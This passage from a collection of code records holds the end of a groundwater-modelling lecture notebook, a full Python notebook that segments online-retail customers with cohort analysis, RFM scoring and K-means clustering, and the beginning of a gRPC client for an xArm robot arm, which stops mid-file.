still will require a numerical solution. \n# \n# **Step 1** - Spatial Extension\n# + Horizontal extension along $x-$direction: 4000 m\n# + Horizontal extension along $y-$direction: 2500 m\n# + vertical extension along $z$-direction: from $z = 250$ m a.s.l. at the aquifer bottom to $z= 265$ m at the aquifer top.\n# + aquifer thickness is uniform = 15 m.\n# \n# Putting these information graphically, we get the following schematic:\n# \n# ```{figure} images/M11_f7.png\n# ---\n# scale: 40%\n# align: center\n# name: nummodel_ex\n# ---\n# Spatial extension of an example numerical model\n# ```\n# The example model is 2D and we _assume_ that vertical flow components can be neglected despite the recharge vertically entering the groundwater. These kinds of simplification are quite common in the development of the numerical model. These simplifications have to be justified when presenting model results. \n# \n# **Step 2** - Hydraulic Properties \n# \n# For our example model we consider the following:\n# \n# + effective porosity ($\\eta_e$) in the model domain: 0.2 or 20%\n# + two zones with different hydraulic conductivities ($K$)\n# + two zones with different groundwater recharge\n# + A section of a river (_river reach_) is in hydraulic contact with the aquifer. i.e. there may be water transfer from the river to the aquifer (_influent conditions_) or vice versa (_effluent conditions_).\n# + inflow boundary with prescribed hydraulic heads\n# + outflow boundary with prescribed hydraulic heads\n# + two impermeable boundaries\n# \n# **Step 3** - The model purpose and conceptual model\n# \n# From our example model we intend to:\n# \n# + Abstraction of groundwater through wells is planned in the area with an overall pumping rate of 7000 m$^3$/d.\n# \n# + Water extraction is to be distributed between two wells located at $(x,y) =$ (3050 m, 1550 m) and $(x,y)$ = (3050 m, 1450 m), resp.\n# \n# + The model purpose is to outline the 50-days isochrone for both wells. \n# \n# With these information available, our conceptual model takes the following form:\n# \n# ```{figure} images/M11_f8.png\n# ---\n# scale: 25%\n# align: center\n# name: Concept_model\n# ---\n# The conceptual model of the example model\n# ```\n# **Step 4** - The numerical approach \n# \n# This is discussed in the next lecture.\n\n# \n", "meta": {"hexsha": "3de72442cda25924813af0b9ee00d60898292a2a", "size": 15852, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/contents/modeling/lecture_11/31_intro_modeling.py", "max_stars_repo_name": "prabhasyadav/iGW-I", "max_stars_repo_head_hexsha": "eba32830f32f1109a7bee600c65832af0e7183fa", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_build/jupyter_execute/contents/modeling/lecture_11/31_intro_modeling.py", "max_issues_repo_name": "prabhasyadav/iGW-I", "max_issues_repo_head_hexsha": "eba32830f32f1109a7bee600c65832af0e7183fa", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/contents/modeling/lecture_11/31_intro_modeling.py", "max_forks_repo_name": "prabhasyadav/iGW-I", "max_forks_repo_head_hexsha": "eba32830f32f1109a7bee600c65832af0e7183fa", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 48.3292682927, "max_line_length": 601, "alphanum_fraction": 0.7293716881, "include": true, "reason": "import numpy,import scipy,from scipy", "num_tokens": 3911, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43014736319616964, "lm_q2_score": 0.20181322226037884, "lm_q1q2_score": 0.08680942541342448}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"Customer Segmentation in Online Retail.ipynb\n\nAutomatically generated by Colaboratory.\n\nOriginal file is located at\n    https://colab.research.google.com/drive/1nmqPZGcVGac_lPyVR2C--AzHhm_2T43X\n\n# Customer Segmentation in Online Retail\n---\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport warnings\n\nfrom google.colab import drive\nwarnings.filterwarnings('ignore')\n\n\"\"\"## 1. Data Preparation\"\"\"\n\ndrive.mount('/content/drive/')\ndf=pd.read_excel('/content/drive/MyDrive/datasets/Online_Retail.xlsx')\n\n\"\"\"I load the data. Once done, I also give some basic informations on the content of the dataframe: the type of the various variables, the number of null values and their percentage with respect to the total number of entries:\"\"\"\n\ndf.head()\n\ndf.describe().T\n\ndf.isna().sum()\n\n### Checking for Missing values\npd.DataFrame(data={'Data Type':df.dtypes.values,'Null Values':df.isna().sum().values,\n        '%age of Null Values':[round(df.isna().sum().values[i]*100/len(df),2) for i in range(len(df.columns))]},index=df.columns).T\n\n\"\"\"While looking at the number of null values in the dataframe, it is interesting to note that  \u223c 25% of the entries are not assigned to a particular customer. With the data available, it is impossible to impute values for the user and these entries are thus useless for the current exercise. So I delete them from the dataframe:\"\"\"\n\ndf[df.Description.isna()==True].sort_values(by='UnitPrice',ascending=False)\n\n\"\"\"`We can see that the data point with the values missing are just some faulty entries with zero Unit Price. So we can delete them`\"\"\"\n\ndf.dropna(subset=['CustomerID'],axis=0,inplace=True)\npd.DataFrame(data={'Data Type':df.dtypes.values,'Null Values':df.isna().sum().values,\n        '%age of Null Values':[round(df.isna().sum().values[i]*100/len(df),2) for i in range(len(df.columns))]},index=df.columns).T\n\n### Checking for Duplicates\nprint('The number of Duplicates are ',df.duplicated().sum())\ndf[df.duplicated()==True]\n\ndf.drop_duplicates(inplace=True)\n\ndf.duplicated().sum()\n\n\"\"\"## 2. Exploring the Data\n\n### `Country`\n\"\"\"\n\ndf.Country.unique()\n\ndf.Country.value_counts()\n\nplt.figure(figsize=(18,8))\nsns.countplot(df.Country,order=df.Country.value_counts(ascending=False).index[:10],palette='Accent')\nplt.xticks(rotation=45)\nplt.title('Top 10 Countries in terms of no of orders')\nplt.show()\n\n\"\"\"The above graph shows the percentage of orders from the top 10 countries, sorted by the number of orders. This shows that more than 90% of orders are coming from United Kingdom and no other country even makes up 3% of the orders in the data.\n\nTherefore, for the purpose of this analysis, I will be taking data corresponding to orders from the United Kingdom. This subset will be made in one of the next steps and will be mentioned as required.\n\n### `Customers and Products`\n\"\"\"\n\n#Let us now look at the total number of products, transactions, and customers in the data, \n#which correspond to the total unique stock codes, invoice number, and customer IDs present in the data.\n\npd.DataFrame([{'Products': len(df['StockCode'].value_counts()),    \n               'Transactions': len(df['InvoiceNo'].value_counts()),\n               'Customers': 4372,  \n              }], index = ['Quantity'])\n\n\"\"\"It can be seen that the data concern 4372 users and that they bought 3958 different products. The total number of transactions carried out is of the order of  \u223c 22'000.\n\nwill determine the number of products purchased in every transaction:\n\"\"\"\n\ntemp=df.groupby('InvoiceNo',as_index=False).agg(\n    {'Description':np.count_nonzero}).sort_values(by='Description',ascending=False)\ntemp.columns=['InvoiceNo','Total_Orders']\ntemp\n\n\"\"\"The first lines of this list shows several things worthy of interest:\n\n1. the existence of entries with the prefix C for the InvoiceNo variable: this indicates transactions that have been canceled\n2. the existence of users who only came once and only purchased one product (e.g. n\u00ba12346)\n3. the existence of frequent users that buy a large number of items at each order\n\"\"\"\n\n## Order Distribution per Invoice\nplt.figure(figsize=(10,5))\nplt.hist(temp.Total_Orders,bins=40)\nplt.xlabel('Invoice')\nplt.ylabel('Total Orders')\nplt.show()\n\ntemp['check']=[str(np.where(str.startswith(str(k),'C')==False,'Not Cancelled','Cancelled')) for k in temp.InvoiceNo]\n\nprint(temp.check.value_counts())\n\nsns.countplot(temp.check)\nplt.grid()\nplt.plot()\n\nprint('\\nAround {}% of orders were cancelled'.format(round(temp.check.value_counts()[1]*100/len(temp),2)))\n\n\"\"\"We note that the number of cancellations is quite large ( \u223c 16% of the total number of transactions).\"\"\"\n\ndf.head()[:2]\n\n\"\"\"### `Stock Code`\"\"\"\n\ntemp=pd.DataFrame(data={'StockCode':df.StockCode,'Description':df.Description,'dtype':[str.isidentifier(str(k)) for k in df.StockCode]})\ntemp[temp.dtype==True][:5]\n\ntemp[temp.dtype==True].StockCode.unique()\n\ncodes=['POST', 'D', 'C2', 'M', 'PADS', 'DOT', 'CRUK']\ntemp=temp[temp.StockCode.isin(codes)]\nfor code in codes:\n    print(\"{:<15} -> {:<30}\".format(code,temp[df.StockCode==code].Description.unique()[0]))\n\n\"\"\"We see that there are several types of peculiar transactions, connected i.e., port charges, bank fee, discount, free gifts,etc\"\"\"\n\nplt.figure(figsize=(10,5))\nsns.countplot(temp.StockCode)\nplt.xticks(rotation=60)\nplt.show()\n\n\"\"\"## `Total Amount per Billing`\n\nIn order to have a global view of the type of order performed in this dataset, I determine how the purchases are divided according to total Amount\n\"\"\"\n\ndf['Amount']=df.UnitPrice*df.Quantity\ndf.head()\n\ntemp=df[(df.Quantity>0) & (df.StockCode.isin(codes).values==False)].groupby(\n    'InvoiceNo',as_index=False).agg(\n    {'Quantity':sum,'Amount':sum})\ntemp.head()\n\nplt.figure(figsize=[18,5])\nsns.distplot(temp[temp!=0].Amount,kde=False,)\n\n\"\"\"Maximum orders are under $12500\"\"\"\n\nbins = [-1,50,100,200,500,1000,5000,np.inf]\nnames = ['<50','50-100','100-200','200-500','500-1000','1000-5000','5000+']\ntemp['amount_cat']=pd.cut(temp['Amount'],bins,labels=names)\n\nplt.figure(figsize=(7,7))\nplt.pie(temp[temp.Amount>0].amount_cat.value_counts().values,labels=names,autopct = lambda x:'{:1.0f}%'.format(x) if x > 1 else '',\n       shadow = True, startangle=0)\nplt.show()\n\n\"\"\"It can be seen that the vast majority of orders concern purcheses of low value \u223c 78% of purchases give prices in excess of \u00a3200.\"\"\"\n\ntemp=df[(df.Quantity>0) & (df.StockCode.isin(codes).values==False)].groupby(\n    'Country',as_index=False).agg(\n    {'Quantity':sum,'Amount':sum})\ntemp.head()\n\nplt.figure(figsize=(18,5))\nsns.barplot(x='Country',y='Amount',data=temp[temp.Country!='United Kingdom'],)\nplt.xticks(rotation=45)\nplt.title('Country-wise Sales(UK not included)',size=15)\nplt.show()\n\n\"\"\"### I thought of implementing nltk to `create product categories` but it can happen that a particular category of product wasn't sold for the whole year. So generalising things to segregate all products in this clusters won't prove to be a good method\n\n## 3. Understanding Cohort Analysis\n\nWhat is Cohort Analysis?\n\nA cohort is a set of users who share similar characteristics over time. Cohort analysis groups the users into mutually exclusive groups and their behaviour is measured over time.\n\nIt can provide information about product and customer lifecycle.\n\nThere are three types of cohort analysis:\n\n1. Time cohorts: It groups customers by their purchase behaviour over time.\n2. Behaviour cohorts: It groups customers by the product or service they signed up for.\n3. Size cohorts: Refers to various sizes of customers who purchase company's products or services. This categorization can be based on the amount of spending in some period of time.\n\nUnderstanding the needs of various cohorts can help a company design custom-made services or products for particular segments.\n\nIn the following analysis, we will create Time cohorts and look at customers who remain active during particular cohorts over a period of time that they transact over.\n\n### `Time Cohorts`\n\n`Checking the date range of our data, we find that it ranges from the start date: 2010\u201312\u201301 to the end date: 2011\u201312\u201309.`\n\n`Next, a column called CohortMonth was created to indicate the month of the transaction by taking the first date of the month of InvoiceDate for each transaction. Then, information about the first month of the transaction was extracted, grouped by the CustomerID.`\n\"\"\"\n\nimport datetime as dt\n\n# Start and end dates:\nprint('Start date: {}'.format(df.InvoiceDate.min()))\nprint('End date: {}'.format(df.InvoiceDate.max()))\n\ncohort_data = df[['InvoiceNo','StockCode','Description','Quantity','InvoiceDate','UnitPrice','Amount','CustomerID','Country']]\n\ncohort_data.isna().sum()\n\ncohort_data.InvoiceDate=pd.to_datetime(cohort_data.InvoiceDate).apply(lambda x:dt.datetime(x.year,x.month,x.day))\n\ncohort_data.head()[:2]\n\ngrouping=cohort_data.groupby('CustomerID',as_index=False)['InvoiceDate'].min()\ngrouping.columns=['CustomerID','CohortMonth']\ngrouping['CohortMonth']=grouping['CohortMonth'].apply(lambda x:dt.datetime(x.year,x.month,1))\ngrouping.columns=['CustomerID','CohortMonth']\ncohort_data=cohort_data.merge(grouping,on='CustomerID',how='left')\ncohort_data.head()\n\ncohort_data['CohortIndex']=pd.Series((cohort_data.InvoiceDate-cohort_data.CohortMonth)/30).dt.days.astype('int')\n\ncohort_data.tail()\n\ngrouping=cohort_data.groupby(['CohortMonth','CohortIndex'],as_index=False).agg({'CustomerID':'nunique'})\ncohort_counts=grouping.pivot_table(columns='CohortIndex',index='CohortMonth')\ncohort_counts\n\n\"\"\"What does the above table tell us?\n\nConsider CohortMonth 2010\u201312\u201301: For CohortIndex 0, this tells us that 815 unique customers made transactions during CohortMonth 2010\u201312\u201301. For CohortIndex 1, this tells that there are 289 customers out of 815 who made their first transaction during CohortMonth 2010\u201312\u201301 and they also made transactions during the next month. That is, they remained active.\n\nFor CohortIndex 2, this tells that there are 263 customers out of 815 who made their first transaction during CohortMonth 2010\u201312\u201301 and they also made transactions during the second-next month. And so on for higher CohortIndices.\n\nLet us now calculate the Retention Rate. It is defined as the percentage of active customers out of total customers. Since the number of active customers in each cohort corresponds to the CohortIndex 0 values, we take the first column of the data as the cohort sizes.\n\"\"\"\n\ncohort_sizes = cohort_counts.iloc[:,0]\n\n# Divide all values in the cohort_counts table by cohort_sizes\nretention=cohort_counts.divide(cohort_sizes, axis=0)\n\n# Review the retention table\nretention=retention.round(3)*100\nretention\n\nplt.figure(figsize=(10, 8))\nsns.heatmap(retention,annot=True,fmt = '0.1f',cmap ='BuGn')\nplt.title('Retention rates')\nplt.show()\n\n\"\"\"# 4. RFM Segmentation\n\nRFM stands for Recency, Frequency, and Monetary.\n\n`RFM analysis is a commonly used technique to generate and assign a score to each customer based on how recent their last transaction was (Recency), how many transactions they have made in the last year (Frequency), and what the monetary value of their transaction was (Monetary).`\n\n`RFM analysis helps to answer the following questions: Who was our most recent customer? How many times has he purchased items from our shop? And what is the total value of his trade? All this information can be critical to understanding how good or bad a customer is to the company.`\n\n`After getting the RFM values, a common practice is to create \u2018quartiles\u2019 on each of the metrics and assigning the required order.`\n\nWe will be using Amount column to get the monetary value of each transaction. Calling the .describe() method on this column, we get:\n\"\"\"\n\ncohort_data.head()[:3]\n\n\"\"\"The defination of recency takes into consideration a complete one year data. So, we'll crop out one year from the end of data\"\"\"\n\nprint(\"The Date Range we'll select will be\\n\")\nstart_date=cohort_data.InvoiceDate.max()-dt.timedelta(days=364)\nprint('Start Date: ',start_date)\nprint('End Date: ',cohort_data.InvoiceDate.max())\n\ndata_rfm=cohort_data[(cohort_data.InvoiceDate>=start_date) & (cohort_data.Amount>0)]\ndata_rfm.reset_index(drop=True,inplace=True)\ndata_rfm.head()\n\n\"\"\"`Now, for RFM analysis, we need to define a \u2018snapshot date\u2019, which is the day on which we are conducting this analysis. Here, I have taken the snapshot date as the highest date in the data + 1 (The next day after the date till which the data was updated). This is equal to the date 2011\u201312\u201310. (YYYY-MM-DD)`\"\"\"\n\nsnapshot_date=data_rfm.InvoiceDate.max()+dt.timedelta(days=1) #The date at which the RFM Analysis should be taking place\nprint('Snapshot Date: ',snapshot_date)\n\n# Aggregate data on a customer level\n\ndata=data_rfm.groupby('CustomerID',as_index=False).agg({'InvoiceDate':lambda x:(snapshot_date-x.max()).days,\n                                        'InvoiceNo':'count',\n                                        'Amount':'sum'}).rename(columns = {'InvoiceDate': 'Recency',\n                                                                                   'InvoiceNo': 'Frequency',\n                                                                                   'Amount': 'MonetaryValue'})\ndata.head()\n\n\"\"\"`For the recency metric, the highest value, 4, will be assigned to the customers with the least recency value (since they are the most recent customers). `\n\n`For the frequency and monetary metric, the highest value, 4, will be assigned to the customers with the Top 25% frequency and monetary values, respectively.` \n\n`After dividing the metrics into quartiles, we can collate the metrics into a single column (like a string of characters {like \u2018213\u2019}) to create classes of RFM values for our customers. We can divide the RFM metrics into lesser or more cuts depending on our requirements.`\n\"\"\"\n\nr_quartiles=pd.qcut(data.Recency,4,labels=[4,3,2,1])\nf_quartiles=pd.qcut(data.Frequency,4,labels=[1,2,3,4])\nm_quartiles=pd.qcut(data.MonetaryValue,4,labels=[1,2,3,4])\n\ndata['R']=r_quartiles\ndata['F']=f_quartiles\ndata['M']=m_quartiles\n\ndata.head()\n\ndata['RFM_Segment']=[str(data.R[i])+str(data.F[i])+str(data.M[i]) for i in range(len(data))]\ndata['RFM_Score']=data.R.astype('int')+data.F.astype('int')+data.M.astype('int')\n\ndata.head()\n\n\"\"\"Let us now analyse RFM Score distribution and their groups.\"\"\"\n\ndata.groupby('RFM_Score').agg({'Recency': 'mean',\n                                'Frequency': 'mean',\n                                'MonetaryValue': ['mean', 'count'] }).round(1)\n\n\"\"\"As expected, customers with the lowest RFM scores have the highest recency value and the lowest frequency and monetary value, and the vice-versa is true as well.\n\n#### `Finally, we can create segments within this score range of RFM_Score 3\u201312, by manually creating categories in our data:`\n1. Customers with an RFM_Score greater than or equal to 9 can be put in the \u2018Top\u2019 category. \n2. Similarly, customers with an RFM_Score between 5 to 9 can be put in the \u2018Middle\u2019 category, and \n3. the rest can be put in the \u2018Low\u2019 category. \n\nLet us call our categories the \u2018General_Segment\u2019. Analyzing the mean values of recency, frequency, and monetary, we get:\n\"\"\"\n\nbins=[0,5,9,np.inf]\nlabel=['Low','Middle','Top']\ndata['General_Segment']=pd.cut(data.RFM_Score,bins=bins,labels=label)\n\ndata.groupby('General_Segment').agg({'Recency':'mean',\n                                    'Frequency':'mean',\n                                    'MonetaryValue':['mean','count']}).round(1)\n\n\"\"\"### In many scenarios, this would be okay. But, if we want to properly find out segments on our RFM values, we can use a clustering algorithm like K-means.\n\n## Preprocessing data for Clustering\n\n`In the next section, we are going to prepare the data for Kmeans clustering on RFM Score data. To do this, we need to preprocess the data so that it can meet the key assumptions of Kmeans algorithm, which are:`\n\n`1. The varaiables should be distributed symmetrically\n2. Variables should have similar average values\n3. Variables should have similar standard deviation values`\n\"\"\"\n\n# Checking the distribution of Recency, Frequency and MonetaryValue variables.\nplt.figure(figsize=(18,10))\n\n# Plot distribution of var1\nplt.subplot(3, 1, 1); sns.distplot(data['Recency'],bins=50)\n\n# Plot distribution of var2\nplt.subplot(3, 1, 2); sns.distplot(data['Frequency'],bins=100)\n\n# Plot distribution of var3\nplt.subplot(3, 1, 3); sns.distplot(data['MonetaryValue'],bins=100)\n\nplt.show()\n\n\"\"\"As we can see from the above plots, all the variables do not have a symmetrical distribution. All of them are skewed to the right. To remove the skewness, we can try the following transformations:\n\n1. log transformations\n2. Box-Cox transformations\n3. Cube root transformations\n\nThe log transformation cannot be used for negative values. One common practice one can use here is to add a constant value to get a positive value and this is generally taken as the absolute of the least negative value of the variable to each observation. However, in our data, we do not have any negative values since we are dealing with customer transactions dataset.\n\"\"\"\n\ndata[['Recency', 'Frequency', 'MonetaryValue']].describe().T\n\n\"\"\"Min Value of every column > 0\n\nAlso, We also see that we do not get constant mean and standard deviation values.\n\"\"\"\n\ndata.sample(5)\n\nrfm_data = data[['Recency','Frequency','MonetaryValue']]\n\nfrom sklearn.preprocessing import StandardScaler\n\n# Unskew the data\ndata_log = np.log(rfm_data)\n\n# Initialize a standard scaler and fit it\nscaler = StandardScaler()\nscaler.fit(data_log)\n\n# Scale and center the data\ndata_normalized = scaler.transform(data_log)\n\n# Create a pandas DataFrame\ndata_norm = pd.DataFrame(data=data_normalized, index=rfm_data.index, columns=rfm_data.columns)\n\ndata_norm.describe().round(2).T\n\n\"\"\"Will check for skewness in Data now again\"\"\"\n\nplt.figure(figsize=(18,10))\n\n# Plot recency distribution\nplt.subplot(3, 1, 1); sns.distplot(data_norm['Recency'])\n\n# Plot frequency distribution\nplt.subplot(3, 1, 2); sns.distplot(data_norm['Frequency'])\n\n# Plot monetary value distribution\nplt.subplot(3, 1, 3); sns.distplot(data_norm['MonetaryValue'])\n\n# Show the plot\nplt.show()\n\n\"\"\"### `Skewness has been removed`\n\n## Clustering with K-means Algorithm\n\nWe will build multiple clusters upon our RFM data and will try to find out the optimal number of clusters in our data using the `elbow method`.\n\"\"\"\n\nfrom sklearn.cluster import KMeans\n\nsse=[]\n\n#Fit KMeans and calculate sse for every k\nfor i in range(1,25,1):\n    model=KMeans(n_clusters=i,random_state=40)\n    model.fit(data_norm)\n    sse.append(model.inertia_)\n\nplt.figure(figsize=(10,4))\n\nplt.title('The Elbow Method')\nplt.xlabel('n_clusters'); \nplt.ylabel('Sum of squared errors')\nplt.plot(range(1,25,1),sse,marker='o',markerfacecolor='r')\nplt.xticks(ticks=range(0,25,1))\nplt.grid()\nplt.show()\n\n\"\"\"From the above plot, we can see that the optimal number of cluster is 3 or 4 or 5.\n\nLet us take k = 3 first.\n\"\"\"\n\nkmeans = KMeans(n_clusters=3, random_state=1)\nkmeans.fit(data_norm)\ncluster_labels = kmeans.labels_\n\ndata_norm_k3 = data_norm.assign(Cluster = cluster_labels) #Normalized RFM DATA\ndata_k3 = rfm_data.assign(Cluster = cluster_labels)#Orignal RFM Data\n\n# Calculate average RFM values and size for each cluster like we did before\nsummary_k3 = data_k3.groupby(['Cluster']).agg({'Recency': 'mean',\n                                                    'Frequency': 'mean',\n                                                    'MonetaryValue': ['mean', 'count'],}).round(0)\n\nsummary_k3\n\n\"\"\"Let us now take k = 4.\"\"\"\n\nkmeans = KMeans(n_clusters=4, random_state=1)\nkmeans.fit(data_norm)\ncluster_labels = kmeans.labels_\n\ndata_norm_k4 = data_norm.assign(Cluster = cluster_labels) #Normalized RFM DATA\ndata_k4 = rfm_data.assign(Cluster = cluster_labels)#Orignal RFM Data\n\n# Calculate average RFM values and size for each cluster like we did before\nsummary_k4 = data_k4.groupby(['Cluster']).agg({'Recency': 'mean',\n                                                    'Frequency': 'mean',\n                                                    'MonetaryValue': ['mean', 'count'],}).round(0)\n\nsummary_k4\n\n\"\"\"K=5\"\"\"\n\nkmeans = KMeans(n_clusters=5, random_state=1)\nkmeans.fit(data_norm)\ncluster_labels = kmeans.labels_\n\ndata_norm_k5= data_norm.assign(Cluster = cluster_labels) #Normalized RFM DATA\ndata_k5= rfm_data.assign(Cluster = cluster_labels)#Orignal RFM Data\n\n# Calculate average RFM values and size for each cluster like we did before\nsummary_k5 = data_k5.groupby(['Cluster']).agg({'Recency': 'mean',\n                                                    'Frequency': 'mean',\n                                                    'MonetaryValue': ['mean', 'count'],}).round(0)\n\nsummary_k5\n\n\"\"\"## Profiling and Interpreting segments\"\"\"\n\ndisplay(summary_k3)\ndisplay(summary_k4)\ndisplay(summary_k5)\n\n\"\"\"We can also build snakeplots to understand and compare the segments. Let us build a snakeplot for our data with all clusters value.\n\nBefore building snakeplots, let us assign back customerID values to the row indices.\n\"\"\"\n\ndata_norm_k3.index = data['CustomerID'].astype(int)\ndata_norm_k4.index = data['CustomerID'].astype(int)\ndata_norm_k5.index = data['CustomerID'].astype(int)\n\ndata_norm_k4.head()\n\n# Melt the data into along format so RFM values and metric names are stored in 1 column each like Feature and its value\ndata_melt_k3=pd.melt(data_norm_k3.reset_index(),id_vars=['CustomerID','Cluster'],\n                  value_vars=['Recency','Frequency','MonetaryValue'],\n                  var_name='Features',\n                  value_name='Value')\n\ndata_melt_k4=pd.melt(data_norm_k4.reset_index(),id_vars=['CustomerID','Cluster'],\n                  value_vars=['Recency','Frequency','MonetaryValue'],\n                  var_name='Features',\n                  value_name='Value')\n\ndata_melt_k5=pd.melt(data_norm_k5.reset_index(),id_vars=['CustomerID','Cluster'],\n                  value_vars=['Recency','Frequency','MonetaryValue'],\n                  var_name='Features',\n                  value_name='Value')\n\ndata_melt_k4.head()\n\nplt.figure(figsize=[18,4])\nplt.title('Snake plot of standardized variables')\nplt.subplot(1,3,1);sns.lineplot(x=\"Features\", y=\"Value\", hue='Cluster', data=data_melt_k3);plt.title('K=3')\nplt.subplot(1,3,2);sns.lineplot(x=\"Features\", y=\"Value\", hue='Cluster', data=data_melt_k4);plt.title('K=4')\nplt.subplot(1,3,3);sns.lineplot(x=\"Features\", y=\"Value\", hue='Cluster', data=data_melt_k5);plt.title('K=5')\nplt.show()\n\n\"\"\"From the above snake plot, we can see the distribution of recency, frequency, and monetary metric values across the clusters. The clusters seem to be separate from each other, which indicates a good heterogeneous mix of clusters. Best happens for k=3\n\n#### `Assigning CustomerID index to data_k4 dataframe and rfm_data dataframe:`\n\"\"\"\n\ndata_k4.index = data['CustomerID'].astype(int)\ndata_k4.head()\n\nrfm_data.index = data['CustomerID'].astype(int)\nrfm_data.head()\n\ncluster_avg = data_k4.groupby(['Cluster']).mean()\npopulation_avg = rfm_data.head().mean()\n\ndisplay(cluster_avg)\ndisplay(population_avg)\n\nrelative_imp = cluster_avg.divide(population_avg,axis=1)\nrelative_imp.round(2)\n\n# Plot heatmap\nplt.figure(figsize=(8, 4))\nplt.title('Relative importance of Attributes')\nsns.heatmap(data=relative_imp, annot=True, fmt='.2f', cmap='RdYlGn')\nplt.show()\n\n\"\"\"# Final Thoughts\n\nFrom the above analysis, we can see that there should be 4 clusters in our data. To understand what these 4 clusters mean in a business scenario, we should look back the table comparing the clustering performance of 3 and 4 clusters for the mean values of recency, frequency, and monetary metric. On this basis, let us label the clusters as \u2018New customers\u2019, \u2018Lost customers\u2019, \u2018Best customers\u2019, and \u2018At risk customers\u2019.\n\nBelow is the table giving the RFM interpretation of each segment and the points that a company is recommended to keep in mind while designing the marketing strategy for that segment of customers.\n\n![image](https://user-images.githubusercontent.com/86877457/132398189-8d90880b-6966-480b-944d-a9ffba803595.png)\n\"\"\"", "meta": {"hexsha": "c8ac15b18c4a5c2cf308674aed9aeb4577fde132", "size": 24118, "ext": "py", "lang": "Python", "max_stars_repo_path": "customer_segmentation_in_online_retail.py", "max_stars_repo_name": "kresnandika/Online-Retail-Customer-Segmentation", "max_stars_repo_head_hexsha": "5180bc6b312b3d0dab3c8cad557fcf8c03aec499", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "customer_segmentation_in_online_retail.py", "max_issues_repo_name": "kresnandika/Online-Retail-Customer-Segmentation", "max_issues_repo_head_hexsha": "5180bc6b312b3d0dab3c8cad557fcf8c03aec499", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "customer_segmentation_in_online_retail.py", "max_forks_repo_name": "kresnandika/Online-Retail-Customer-Segmentation", "max_forks_repo_head_hexsha": "5180bc6b312b3d0dab3c8cad557fcf8c03aec499", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.5827586207, "max_line_length": 418, "alphanum_fraction": 0.7245211046, "include": true, "reason": "import numpy", "num_tokens": 5850, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.40356686808225123, "lm_q2_score": 0.21469141911224196, "lm_q1q2_score": 0.08664234361526146}}
{"text": "import grpc\nimport math\nimport time\nimport numpy as np\nimport robot_con.xarm_shuidi.xarm_shuidi_pb2 as aa_msg\nimport robot_con.xarm_shuidi.xarm_shuidi_pb2_grpc as aa_rpc\nimport motion.trajectory.piecewisepoly_scl as pwp\n\n\nclass XArmShuidiClient(object):\n\n    def __init__(self, host=\"localhost:18300\"):\n        channel = grpc.insecure_channel(host)\n        self.stub = aa_rpc.XArmShuidiStub(channel)\n\n    def get_jnt_values(self, component_name=\"arm\"):\n        if component_name == \"arm\":\n            return self.arm_get_jnt_values()\n\n    def move_jnts(self, component_name, jnt_values, method='linear', max_jntspeed=math.pi):\n        \"\"\"\n        TODO: use xarm function to get faster\n        author: weiwei\n        date: 20210729\n        \"\"\"\n        if component_name == \"arm\":\n            current_jnt_values = self.arm_get_jnt_values()\n            print(current_jnt_values, jnt_values)\n            if np.allclose(jnt_values, current_jnt_values, atol=1e-5):\n                print(\"The robot's configuration is the same as the given one!\")\n                return\n            self.arm_move_jspace_path(path=[self.arm_get_jnt_values(), jnt_values], method=method,\n                                      max_jntspeed=max_jntspeed)\n\n    def arm_get_jnt_values(self):\n        jntvalues_msg = self.stub.arm_get_jnt_values(aa_msg.Empty())\n        jnt_values = np.frombuffer(jntvalues_msg.data, dtype=np.float64)\n        return jnt_values\n\n    def arm_move_jspace_path(self,\n                             path,\n                             max_jntspeed=math.pi,\n                             method='linear',\n                             start_frame_id=1,\n                             toggle_debug=False):\n        \"\"\"\n        TODO: make speed even\n        :param path: [jnt_values0, jnt_values1, ...], results of motion planning\n        :return:\n        author: weiwei\n        date: 20190417\n        \"\"\"\n        if not path or path is None:\n            raise ValueError(\"The given is incorrect!\")\n        control_frequency = .005\n        tpply = pwp.PiecewisePoly(method=method)\n        interpolated_path, interpolated_spd, interpolated_acc, interpolated_x = \\\n            tpply.interpolate(path=path, control_frequency=.005, time_intervals=.1)\n            # tpply.interpolate_by_max_jntspeed(path=path,\n            #                                   control_frequency=control_frequency,\n            #                                   max_jntspeed=max_jntspeed)\n        if toggle_debug:\n            import matplotlib.pyplot as plt\n            # plt.plot(interplated_path)\n            plt.subplot(311)\n            for i in range(len(path)):\n                plt.axvline(x=i)\n            plt.plot(interpolated_path)\n            plt.subplot(312)\n            for i in range(len(path)):\n                plt.axvline(x=i)\n            plt.plot(interpolated_spd)\n            plt.subplot(313)\n            for i in range(len(path)):\n                plt.axvline(x=i)\n            plt.plot(interpolated_acc)\n            plt.show()\n            import pickle\n            pickle.dump([interpolated_path, interpolated_spd, interpolated_acc], open(\"interpolated_traj.pkl\", \"wb\"))\n        interpolated_path = interpolated_path[start_frame_id:]\n        path_msg = aa_msg.Path(length=len(interpolated_path),\n                               njnts=len(interpolated_path[0]),\n                               data=np.array(interpolated_path).tobytes())\n        return_value = self.stub.arm_move_jspace_path(path_msg)\n        if return_value == aa_msg.Status.ERROR:\n            print(\"Something went wrong with the server!! Try again!\")\n            raise Exception()\n        else:\n            print(\"The rbt_s has finished the given 